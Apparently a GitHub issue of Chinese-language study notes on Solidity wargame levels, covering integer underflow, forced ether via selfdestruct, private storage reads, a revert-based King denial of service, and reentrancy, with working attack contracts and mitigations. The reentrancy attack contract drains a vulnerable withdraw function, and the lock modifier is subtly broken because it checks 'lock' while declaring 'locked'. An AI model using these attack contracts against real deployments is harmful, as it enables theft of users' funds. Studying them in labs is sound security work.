Open fangmd opened 1 year ago
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
uint
类型的数据如果出现 10 - 11
类型的计算,会变成 uint 的最大值2^256-1
2^256-1 + 1
后是 0 使用 SafeMath 处理这个问题
selfdestruct
删除合约的同时,把合约余额都转移到另一个合约中 // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Attack {
constructor() payable{
}
function attack(address payable addr) public {
selfdestruct(addr);
}
}
安全问题:如果合约中有根据 address(this).balance
获取合约余额的判断逻辑,攻击者可以通过强行转入 eth 破坏逻辑。
处理方法:不使用 address(this).balance
去做逻辑判断,可以单独创建一个变量用于存储合法的余额
对于 private 的数据可以通过 web3.eth.getStorageAt
获取
web3.eth.getStorageAt( contract.address, index)
: index
表示 slot 位置,一个 slot 32字节revert
, 就会导致后续的代码无法执行// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
攻击合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Attack {
constructor(address addr) payable {
payable(address(addr)).call{value: msg.value}("");
}
receive() external payable {
revert("You lose!");
}
}
提款合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
攻击合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Reentrance.sol";
contract Attack {
Reentrance public originC;
constructor(address cAddr) {
originC = Reentrance(payable(cAddr));
}
function attack() public payable {
originC.donate{value: msg.value}(address(this));
originC.withdraw(msg.value);
}
receive() external payable {
if (address(originC).balance >= 1 ether) {
originC.withdraw(1 ether);
} else if (address(originC).balance > 0) {
originC.withdraw(address(originC).balance);
}
}
}
处理方法:
bool internal locked;
modifier noReentranct() {
require(!lock, "Absolutely no re-entrancy!");
locked = true;
_;
locked = false;
}
Hacks Tx Origin Attacks
https://medium.com/coinmonks/solidity-tx-origin-attacks-58211ad95514
攻击点:
处理方法:
tx.origin
判断合约调用者